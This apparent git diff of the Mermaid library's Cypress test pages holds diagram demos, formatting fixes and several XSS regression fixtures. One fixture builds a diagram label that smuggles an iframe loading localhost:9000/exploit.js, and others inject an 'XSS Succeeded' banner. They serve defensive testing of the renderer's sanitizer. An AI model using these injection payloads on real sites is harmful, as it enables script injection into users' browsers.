</html>

View File

@@ -0,0 +1,6 @@
const div = parent.document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
parent.document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');

View File

@@ -1,46 +1,46 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<style>body {
font-family: 'trebuchet ms', verdana, arial;
}</style>
</head>
<body>
<div class="mermaid">
graph TB
subgraph One
a1-->a2-->a3
end
</div>
<div class="mermaid">
graph TB
a_a --> b_b:::apa --> c_c:::apa
classDef apa fill:#f9f,stroke:#333,stroke-width:4px;
class a_a apa;
</div>
<div class="mermaid">
graph TB
a_a(Aftonbladet) --> b_b[gorilla]:::apa --> c_c{chimp}:::apa -->a_a
a_a --> c --> d_d --> c_c
classDef apa fill:#f9f,stroke:#333,stroke-width:4px;
class a_a apa;
click a_a "http://www.aftonbladet.se" "apa"
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.initialize({
theme: 'forest',
// themeCSS: '.node rect { fill: red; }',
logLevel: 3,
flowchart: { curve: 'linear' },
gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50 },
// sequenceDiagram: { actorMargin: 300 } // deprecated
});
</script>
</script>
</body>
</html>
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<style>body {
font-family: 'trebuchet ms', verdana, arial;
}</style>
</head>
<body>
<div class="mermaid">
graph TB
subgraph One
a1-->a2-->a3
end
</div>
<div class="mermaid">
graph TB
a_a --> b_b:::apa --> c_c:::apa
classDef apa fill:#f9f,stroke:#333,stroke-width:4px;
class a_a apa;
</div>
<div class="mermaid">
graph TB
a_a(Aftonbladet) --> b_b[gorilla]:::apa --> c_c{chimp}:::apa -->a_a
a_a --> c --> d_d --> c_c
classDef apa fill:#f9f,stroke:#333,stroke-width:4px;
class a_a apa;
click a_a "http://www.aftonbladet.se" "apa"
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.initialize({
theme: 'forest',
// themeCSS: '.node rect { fill: red; }',
logLevel: 3,
flowchart: { curve: 'linear' },
gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50 },
// sequenceDiagram: { actorMargin: 300 } // deprecated
});
</script>
</script>
</body>
</html>

View File

@@ -29,7 +29,7 @@
// arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
flowchart: { curve: 'linear', "htmlLabels": false },
flowchart: { curve: 'linear', htmlLabels: false },
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50 },
// sequenceDiagram: { actorMargin: 300 } // deprecated

View File

@@ -1,26 +1,26 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
</head>
<body>
<h1>info below</h1>
<div class="mermaid">info</div>
<script src="./mermaid.js"></script>
<script>
mermaid.initialize({
theme: 'forest',
// themeCSS: '.node rect { fill: red; }',
logLevel: 3,
flowchart: { curve: 'linear' },
gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50 },
// sequenceDiagram: { actorMargin: 300 } // deprecated
});
</script>
</script>
</body>
</html>
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
</head>
<body>
<h1>info below</h1>
<div class="mermaid">info</div>
<script src="./mermaid.js"></script>
<script>
mermaid.initialize({
theme: 'forest',
// themeCSS: '.node rect { fill: red; }',
logLevel: 3,
flowchart: { curve: 'linear' },
gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50 },
// sequenceDiagram: { actorMargin: 300 } // deprecated
});
</script>
</script>
</body>
</html>

View File

@@ -90,31 +90,31 @@
<script src="./mermaid.js"></script>
<script>
function clickByFlow(elemName) {
const div = document.createElement('div')
div.className = 'created-by-click'
div.style = 'padding: 20px; background: green; color: white;'
div.innerText = 'Clicked By Flow'
const div = document.createElement('div');
div.className = 'created-by-click';
div.style = 'padding: 20px; background: green; color: white;';
div.innerText = 'Clicked By Flow';
document.getElementsByTagName('body')[0].appendChild(div)
document.getElementsByTagName('body')[0].appendChild(div);
}
function clickByGantt(arg1, arg2, arg3) {
const div = document.createElement('div')
div.className = 'created-by-gant-click'
div.style = 'padding: 20px; background: green; color: white;'
div.innerText = 'Clicked By Gant'
const div = document.createElement('div');
div.className = 'created-by-gant-click';
div.style = 'padding: 20px; background: green; color: white;';
div.innerText = 'Clicked By Gant';
if (arg1) div.innerText += ' ' + arg1;
if (arg2) div.innerText += ' ' + arg2;
if (arg3) div.innerText += ' ' + arg3;
document.getElementsByTagName('body')[0].appendChild(div)
document.getElementsByTagName('body')[0].appendChild(div);
}
function clickByClass() {
const div = document.createElement('div')
div.className = 'created-by-class-click'
div.style = 'padding: 20px; background: purple; color: white;'
div.innerText = 'Clicked By Class'
const div = document.createElement('div');
div.className = 'created-by-class-click';
div.style = 'padding: 20px; background: purple; color: white;';
div.innerText = 'Clicked By Class';
document.getElementsByTagName('body')[0].appendChild(div)
document.getElementsByTagName('body')[0].appendChild(div);
}
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
</script>

View File

@@ -0,0 +1,97 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-wrapper',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: false,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'strict',
startOnLoad: false,
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
var diagram = '%%{init: {"flowchart": {"htmlLabels": "false"}} }%%\n';
diagram += 'flowchart\n';
diagram += 'A["<ifra';
diagram += "me srcdoc='<scrip";
diagram += 't src=http://localhost:9000/exploit.js>';
diagram += '</scr';
diagram += 'ipt>\'></iframe>"]';
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

212
cypress/platform/knsv3.html Normal file
View File

@@ -0,0 +1,212 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
</style>
</head>
<body>
<div>info below</div>
<div class="flex">
<div class="mermaid2" style="width: 100%; height: 400px;">
%%{init: { "logLevel": 1, "er": {"fontSize":18 }} }%%
erDiagram
CUSTOMER }|..|{ DELIVERY-ADDRESS : has
CUSTOMER ||--o{ ORDER : places
CUSTOMER ||--o{ INVOICE : "liable for"
DELIVERY-ADDRESS ||--o{ ORDER : receives
INVOICE ||--|{ ORDER : covers
ORDER ||--|{ ORDER-ITEM : includes
PRODUCT-CATEGORY ||--|{ PRODUCT : contains
PRODUCT ||--o{ ORDER-ITEM : "ordered in"
</div>
<div class="mermaid2" style="width: 50%; height: 400px;">
flowchart TD
A[Christmas] ==> D
A[Christmas] -->|Get money| B(Go shopping)
A[Christmas] ==> C
subgraph T ["Test"]
A
B
C
end
classDef Test fill:#F84E68,stroke:#333,color:white;
class A,T Test
classDef TestSub fill:green;
class T TestSub
linkStyle 0,1 color:orange, stroke: orange;
</div>
<div class="mermaid" style="width: 100%; height: 20%;">
flowchart TB
subgraph S1
sub1 -->sub2
end
subgraph S2
sub4
end
S1 --> S2
sub1 --> sub4
</div>
<div class="mermaid2" style="width: 100%; height: 20%;">
flowchart TB
c1-->a2
subgraph one
a1-->a2
end
subgraph two
b1-->b2
end
subgraph three
c1-->c2
end
one --> two
three --> two
two --> c2
</div>
<div class="mermaid2" style="width: 100%; height: 20%;">
stateDiagram-v2
state S1 {
sub1 -->sub2
}
state S2 {
sub4
}
S1 --> S2
sub1 --> sub4
</div>
<div class="mermaid2" style="width: 100%; height: 20%;">
requirementDiagram
requirement test_req {
id: 1
text: the test text.
risk: high
verifymethod: test
}
functionalRequirement test_req2 {
id: 1.1
text: the second test text.
risk: low
verifymethod: inspection
}
performanceRequirement test_req3 {
id: 1.2
text: the third test text.
risk: medium
verifymethod: demonstration
}
element test_entity {
type: simulation
}
element test_entity2 {
type: word doc
docRef: reqs/test_entity
}
test_entity - satisfies -> test_req2
test_req - traces -> test_req2
test_req - contains -> test_req3
test_req <- copies - test_entity2
</div>
<div class="mermaid2" style="width: 50%; height: 20%;">
flowchart LR
classDef dark fill:#000,stroke:#000,stroke-width:4px,color:#fff
Lorem --> Ipsum --> Dolor
class Lorem,Dolor dark
</div>
<div class="mermaid2" style="width: 50%; height: 20%;">
%%{init: {'theme': 'base' }}%%
%%{init2: { 'logLevel': 0, 'theme': 'forest'} }%%
flowchart TD
L1 --- L2
L2 --- C
M1 ---> C
R1 .-> R2
R2 <.-> C
C -->|Label 1| E1
C <-- Label 2 ---> E2
C ----> E3
C <-...-> E4
C ======> E5
</div>
<div class="mermaid2" style="width: 50%; height: 21%;">
flowchart LR
A[red text] -->|default style| B(blue text)
C([red text]) -->|default style| D[[blue text]]
E[(red text)] -->|default style| F((blue text))
G>red text] -->|default style| H{blue text}
I{{red text}} -->|default style| J[/blue text/]
K[
ed text] -->|default style| L[/blue text]
M[
ed text/] -->|default style| N[blue text]
linkStyle default color:Sienna;
style A stroke:#ff0000,fill:#ffcccc,color:#ff0000
style B stroke:#0000ff,fill:#ccccff,color:#0000ff
style C stroke:#ff0000,fill:#ffcccc,color:#ff0000
style D stroke:#0000ff,fill:#ccccff,color:#0000ff
style E stroke:#ff0000,fill:#ffcccc,color:#ff0000
style F stroke:#0000ff,fill:#ccccff,color:#0000ff
style G stroke:#ff0000,fill:#ffcccc,color:#ff0000
style H stroke:#0000ff,fill:#ccccff,color:#0000ff
style I stroke:#ff0000,fill:#ffcccc,color:#ff0000
style J stroke:#0000ff,fill:#ccccff,color:#0000ff
style K stroke:#ff0000,fill:#ffcccc,color:#ff0000
style L stroke:#0000ff,fill:#ccccff,color:#0000ff
style M stroke:#ff0000,fill:#ffcccc,color:#ff0000
style N stroke:#0000ff,fill:#ccccff,color:#0000ff
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'neutral',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
flowchart: { nodeSpacing: 10, curve: 'cardinal', htmlLabels: true },
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'cardinal',
securityLevel: 'loose',
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
</script>
</body>
</html>

View File

@@ -0,0 +1,30 @@
<html>
<head>
<script src="http://localhost:9000/mermaid.js"></script>
<script>
mermaid.initialize({
theme: 'base',
themeVariables: {},
startOnLoad: true,
});
</script>
</head>
<body>
<h1>Example</h1>
<div class="mermaid">
%%{init:{"theme":"base", "sequence": {"mirrorActors":false},"themeVariables": {"actorBkg":"red"}}}%%
sequenceDiagram
Bert->>+Ernie: Start looking for the cookie!
Ernie-->>-Bert: Found it!
Note left of Ernie: Cookies are good
</div>
<div class="mermaid">
%%{init:{"theme":"base", "themeVariables": {}}}%%
sequenceDiagram
Bert->>+Ernie: Start looking for the cookie!
Ernie-->>-Bert: Found it!
Note left of Ernie: Cookies are good
</div>
</body>
</html>

View File

@@ -11,21 +11,16 @@
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.init({ startOnLoad: false });
<script>mermaid.init({ startOnLoad: false });
mermaid.mermaidAPI.initialize();
try{
mermaid.mermaidAPI.render("graphDiv",
`>`);
} catch(e){}
try {
mermaid.mermaidAPI.render('graphDiv', `>`);
} catch (e) {}
mermaid.mermaidAPI.render("graphDiv",
`graph LR\n a --> b`, html => {
document.getElementById('graph').innerHTML=html;
mermaid.mermaidAPI.render('graphDiv', `graph LR\n a --> b`, (html) => {
document.getElementById('graph').innerHTML = html;
});
</script>
</body>

View File

@@ -11,21 +11,18 @@
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.init({ startOnLoad: false });
<script>mermaid.init({ startOnLoad: false });
mermaid.mermaidAPI.initialize();
rerender('XMas');
function rerender(text) {
var graphText = `graph TD
A[${text}] -->|Get money| B(Go shopping)`
A[${text}] -->|Get money| B(Go shopping)`;
var graph = mermaid.mermaidAPI.render('id', graphText);
console.log('\x1b[35m%s\x1b[0m', '>> graph', graph)
document.getElementById('graph').innerHTML=graph;
console.log('\x1b[35m%s\x1b[0m', '>> graph', graph);
document.getElementById('graph').innerHTML = graph;
}
</script>
<button id="rerender" onclick="rerender('Saturday')">Rerender</button>

View File

@@ -225,27 +225,67 @@ journey
Go downstairs: 5: Me
Sit down: 5: Me
</div>
<div class="mermaid width height">
requirementDiagram
requirement test_req {
id: 1
text: the test text.
risk: high
verifymethod: test
}
functionalRequirement test_req2 {
id: 1.1
text: the second test text.
risk: low
verifymethod: inspection
}
performanceRequirement test_req3 {
id: 1.2
text: the third test text.
risk: medium
verifymethod: demonstration
}
element test_entity {
type: simulation
}
element test_entity2 {
type: word doc
docRef: reqs/test_entity
}
test_entity - satisfies -> test_req2
test_req - traces -> test_req2
test_req - contains -> test_req3
test_req <- copies - test_entity2
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'base',
// themeVariables:
// arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
flowchart: { curve: 'cardinal', "htmlLabels": false },
flowchart: { curve: 'cardinal', htmlLabels: false },
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50, showSequenceNumbers: true },
// sequenceDiagram: { actorMargin: 300 } // deprecated
fontFamily: '"arial", sans-serif',
curve: 'cardinal',
securityLevel: 'strict'
securityLevel: 'strict',
});
function callback(){alert('It worked');}
function callback() {
alert('It worked');
}
</script>
</body>
</html>

View File

@@ -219,19 +219,67 @@ journey
Go downstairs: 5: Me
Sit down: 5: Me
</div>
<div class="mermaid width height">
requirementDiagram
requirement test_req {
id: 1
text: the test text.
risk: high
verifymethod: test
}
functionalRequirement test_req2 {
id: 1.1
text: the second test text.
risk: low
verifymethod: inspection
}
performanceRequirement test_req3 {
id: 1.2
text: the third test text.
risk: medium
verifymethod: demonstration
}
element test_entity {
type: simulation
}
element test_entity2 {
type: word doc
docRef: reqs/test_entity
}
test_entity - satisfies -> test_req2
test_req - traces -> test_req2
test_req - contains -> test_req3
test_req <- copies - test_entity2
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'base',
themeVariables: { primaryColor: '#9400D3', darkMode: true, background: '#222', textColor:'white', primaryTextColor: '#f4f4f4', nodeBkg: '#ff0000', mainBkg:'#0000ff', tertiaryColor:'#ffffcc' },
themeVariables: {
primaryColor: '#9400D3',
darkMode: true,
background: '#222',
textColor: 'white',
primaryTextColor: '#f4f4f4',
nodeBkg: '#ff0000',
mainBkg: '#0000ff',
tertiaryColor: '#ffffcc',
},
// arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
flowchart: { curve: 'cardinal', "htmlLabels": false },
flowchart: { curve: 'cardinal', htmlLabels: false },
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50, showSequenceNumbers: true },
// sequenceDiagram: { actorMargin: 300 } // deprecated
@@ -239,7 +287,9 @@ journey
curve: 'cardinal',
// securityLevel: 'strict'
});
function callback(){alert('It worked');}
function callback() {
alert('It worked');
}
</script>
</body>
</html>

View File

@@ -217,26 +217,66 @@ gantt
Go downstairs: 5: Me
Sit down: 5: Me
</div>
<div class="mermaid width height">
requirementDiagram
requirement test_req {
id: 1
text: the test text.
risk: high
verifymethod: test
}
functionalRequirement test_req2 {
id: 1.1
text: the second test text.
risk: low
verifymethod: inspection
}
performanceRequirement test_req3 {
id: 1.2
text: the third test text.
risk: medium
verifymethod: demonstration
}
element test_entity {
type: simulation
}
element test_entity2 {
type: word doc
docRef: reqs/test_entity
}
test_entity - satisfies -> test_req2
test_req - traces -> test_req2
test_req - contains -> test_req3
test_req <- copies - test_entity2
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'dark',
// arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
flowchart: { curve: 'cardinal', "htmlLabels": true },
flowchart: { curve: 'cardinal', htmlLabels: true },
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50, showSequenceNumbers: true },
// sequenceDiagram: { actorMargin: 300 } // deprecated
fontFamily: '"arial", sans-serif',
curve: 'cardinal',
securityLevel: 'strict'
securityLevel: 'strict',
});
function callback(){alert('It worked');}
function callback() {
alert('It worked');
}
</script>
</body>
</html>

View File

@@ -212,26 +212,66 @@ gantt
Go downstairs: 5: Me
Sit down: 5: Me
</div>
<div class="mermaid width height">
requirementDiagram
requirement test_req {
id: 1
text: the test text.
risk: high
verifymethod: test
}
functionalRequirement test_req2 {
id: 1.1
text: the second test text.
risk: low
verifymethod: inspection
}
performanceRequirement test_req3 {
id: 1.2
text: the third test text.
risk: medium
verifymethod: demonstration
}
element test_entity {
type: simulation
}
element test_entity2 {
type: word doc
docRef: reqs/test_entity
}
test_entity - satisfies -> test_req2
test_req - traces -> test_req2
test_req - contains -> test_req3
test_req <- copies - test_entity2
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
// theme: 'dark',
// arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
flowchart: { curve: 'cardinal', "htmlLabels": false },
flowchart: { curve: 'cardinal', htmlLabels: false },
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50, showSequenceNumbers: true },
// sequenceDiagram: { actorMargin: 300 } // deprecated
fontFamily: '"arial", sans-serif',
curve: 'cardinal',
securityLevel: 'strict'
securityLevel: 'strict',
});
function callback(){alert('It worked');}
function callback() {
alert('It worked');
}
</script>
</body>
</html>

View File

@@ -216,26 +216,66 @@ gantt
Go downstairs: 5: Me
Sit down: 5: Me
</div>
<div class="mermaid width height">
requirementDiagram
requirement test_req {
id: 1
text: the test text.
risk: high
verifymethod: test
}
functionalRequirement test_req2 {
id: 1.1
text: the second test text.
risk: low
verifymethod: inspection
}
performanceRequirement test_req3 {
id: 1.2
text: the third test text.
risk: medium
verifymethod: demonstration
}
element test_entity {
type: simulation
}
element test_entity2 {
type: word doc
docRef: reqs/test_entity
}
test_entity - satisfies -> test_req2
test_req - traces -> test_req2
test_req - contains -> test_req3
test_req <- copies - test_entity2
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
// arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
flowchart: { curve: 'cardinal', "htmlLabels": false },
flowchart: { curve: 'cardinal', htmlLabels: false },
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50, showSequenceNumbers: true },
// sequenceDiagram: { actorMargin: 300 } // deprecated
fontFamily: '"arial", sans-serif',
curve: 'cardinal',
securityLevel: 'strict'
securityLevel: 'strict',
});
function callback(){alert('It worked');}
function callback() {
alert('It worked');
}
</script>
</body>
</html>

View File

@@ -215,26 +215,66 @@ gantt
Go downstairs: 5: Me
Sit down: 5: Me
</div>
<div class="mermaid width height">
requirementDiagram
requirement test_req {
id: 1
text: the test text.
risk: high
verifymethod: test
}
functionalRequirement test_req2 {
id: 1.1
text: the second test text.
risk: low
verifymethod: inspection
}
performanceRequirement test_req3 {
id: 1.2
text: the third test text.
risk: medium
verifymethod: demonstration
}
element test_entity {
type: simulation
}
element test_entity2 {
type: word doc
docRef: reqs/test_entity
}
test_entity - satisfies -> test_req2
test_req - traces -> test_req2
test_req - contains -> test_req3
test_req <- copies - test_entity2
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'neutral',
// arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
flowchart: { curve: 'cardinal', "htmlLabels": false },
flowchart: { curve: 'cardinal', htmlLabels: false },
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50, showSequenceNumbers: true },
// sequenceDiagram: { actorMargin: 300 } // deprecated
fontFamily: '"arial", sans-serif',
curve: 'cardinal',
securityLevel: 'strict'
securityLevel: 'strict',
});
function callback(){alert('It worked');}
function callback() {
alert('It worked');
}
</script>
</body>
</html>

View File

@@ -37,9 +37,9 @@
<script src="./mermaid.js"></script>
<script>
function showFullFirstSquad(elemName) {
console.log('show ' + elemName);
}
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
console.log('show ' + elemName);
}
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
</script>
</body>
</html>

View File

@@ -120,8 +120,8 @@
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
// theme: 'dark',
// theme: 'dark',
@@ -129,7 +129,7 @@
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
// flowchart: { useMaxWidth: true },
graph: { curve: 'cardinal', "htmlLabels": false },
graph: { curve: 'cardinal', htmlLabels: false },
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50, showSequenceNumbers: true },
// sequenceDiagram: { actorMargin: 300 } // deprecated
@@ -137,7 +137,9 @@
curve: 'cardinal',
securityLevel: 'strict',
});
function callback(){alert('It worked');}
function callback() {
alert('It worked');
}
</script>
</body>
</html>

View File

@@ -1,41 +1,41 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
</head>
<body>
<h1>User Journey</h1>
<div class="mermaid">
journey
title Go shopping
section Get to the shops
Get car keys:5: Dad
Get into car:5: Dad, Mum, Child 1, Child 2
Really drive to supermarket:3: Dad
section Do shopping
Do actual shop:3: Mum
Get in the way:2: Dad, Child 1, Child 2
Pay: 2: Dad
section Go home
Lose keys:3: Dad
Get cross:1: Dad, Child 1
Find keys:4: Mum
Get into car:4: Dad, Mum, Child 1, Child 2
Drive home:3: Dad
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.initialize({
theme: 'forest',
logLevel: 3,
journey: { taskMargin: 30 },
});
</script>
</body>
</html>
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
</head>
<body>
<h1>User Journey</h1>
<div class="mermaid">
journey
title Go shopping
section Get to the shops
Get car keys:5: Dad
Get into car:5: Dad, Mum, Child 1, Child 2
Really drive to supermarket:3: Dad
section Do shopping
Do actual shop:3: Mum
Get in the way:2: Dad, Child 1, Child 2
Pay: 2: Dad
section Go home
Lose keys:3: Dad
Get cross:1: Dad, Child 1
Find keys:4: Mum
Get into car:4: Dad, Mum, Child 1, Child 2
Drive home:3: Dad
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.initialize({
theme: 'forest',
logLevel: 3,
journey: { taskMargin: 30 },
});
</script>
</body>
</html>

View File

@@ -29,9 +29,9 @@
<script src="./mermaid.js"></script>
<script>
function showFullFirstSquad(elemName) {
console.log('show ' + elemName);
}
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
console.log('show ' + elemName);
}
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
</script>
</body>
</html>

View File

@@ -2,11 +2,10 @@ import { Base64 } from 'js-base64';
import mermaid2 from '../../src/mermaid';
/**
* ##contentLoaded
* Callback function that is called when page is loaded. This functions fetches configuration for mermaid rendering and
* calls init for rendering the mermaid diagrams on the page.
* ##contentLoaded Callback function that is called when page is loaded. This functions fetches
* configuration for mermaid rendering and calls init for rendering the mermaid diagrams on the page.
*/
const contentLoaded = function() {
const contentLoaded = function () {
let pos = document.location.href.indexOf('?graph=');
if (pos > 0) {
pos = pos + 7;
@@ -38,8 +37,12 @@ const contentLoaded = function() {
}
};
/**
* @param current
* @param update
*/
function merge(current, update) {
Object.keys(update).forEach(function(key) {
Object.keys(update).forEach(function (key) {
// if update[key] exist, and it's not a string or array,
// we go in one level deeper
if (
@@ -58,7 +61,7 @@ function merge(current, update) {
return current;
}
const contentLoadedApi = function() {
const contentLoadedApi = function () {
let pos = document.location.href.indexOf('?graph=');
if (pos > 0) {
pos = pos + 7;
@@ -125,7 +128,7 @@ if (typeof document !== 'undefined') {
*/
window.addEventListener(
'load',
function() {
function () {
if (this.location.href.match('xss.html')) {
this.console.log('Using api');
contentLoadedApi();

View File

@@ -1,18 +1,18 @@
<!doctype html>
<html>
<head>
<style>
/* .mermaid {
font-family: "trebuchet ms", verdana, arial;;
} */
/* .mermaid {
font-family: 'arial';
} */
</style>
</head>
<body>
<div id="graph-to-be"></div>
<script src="./bundle-test.js" charset="utf-8"></script>
</body>
<!doctype html>
<html>
<head>
<style>
/* .mermaid {
font-family: "trebuchet ms", verdana, arial;;
} */
/* .mermaid {
font-family: 'arial';
} */
</style>
</head>
<body>
<div id="graph-to-be"></div>
<script src="./bundle-test.js" charset="utf-8"></script>
</body>
</html>

View File

@@ -23,11 +23,11 @@
}
</style>
<script>
function xssAttack(){
const div = document.createElement('div')
div.id = 'the-malware'
div.className = 'malware'
div.innerHTML = 'XSS Succeeded'
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
// const el = document.querySelector('.mermaid');
// el.parentNode.removeChild(el);

108
cypress/platform/xss10.html Normal file
View File

@@ -0,0 +1,108 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
